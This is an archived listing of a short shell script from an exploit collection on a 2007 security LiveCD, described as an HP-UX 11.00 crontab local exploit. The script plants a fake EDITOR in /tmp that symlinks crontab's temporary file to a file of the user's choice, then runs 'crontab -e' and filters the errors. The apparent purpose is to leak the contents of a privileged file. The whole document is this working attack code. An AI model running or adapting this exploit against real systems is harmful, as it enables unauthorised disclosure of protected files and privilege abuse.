home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / hpux / local / crontab.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  442b  |  38 lines

  1. #!/bin/sh
  2. #
  3. #  HP-UX 11.00 crontab
  4. #
  5. #  Kyong-won,Cho
  6. #
  7. #             dubhe@hackerslab.com
  8. #
  9. #  Usage : ./crontab.sh <distfile>
  10. #
  11. #
  12.  
  13. if [ -z "$1" ]
  14. then
  15.  
  16. echo "Usage : $0 <distfile>"
  17. exit
  18.  
  19. fi
  20.  
  21. cat << _EOF_ > /tmp/crontab_exp
  22. #!/bin/sh
  23.  
  24. ln -sf $1 \$1
  25.  
  26. _EOF_
  27.  
  28. chmod 755 /tmp/crontab_exp
  29.  
  30. EDITOR=/tmp/crontab_exp
  31. export EDITOR
  32.  
  33. crontab -e 2> /tmp/crontab$$
  34.  
  35. grep -v "error on previous line" /tmp/crontab$$
  36.  
  37. rm -f /tmp/crontab_exp /tmp/crontab$$
  38.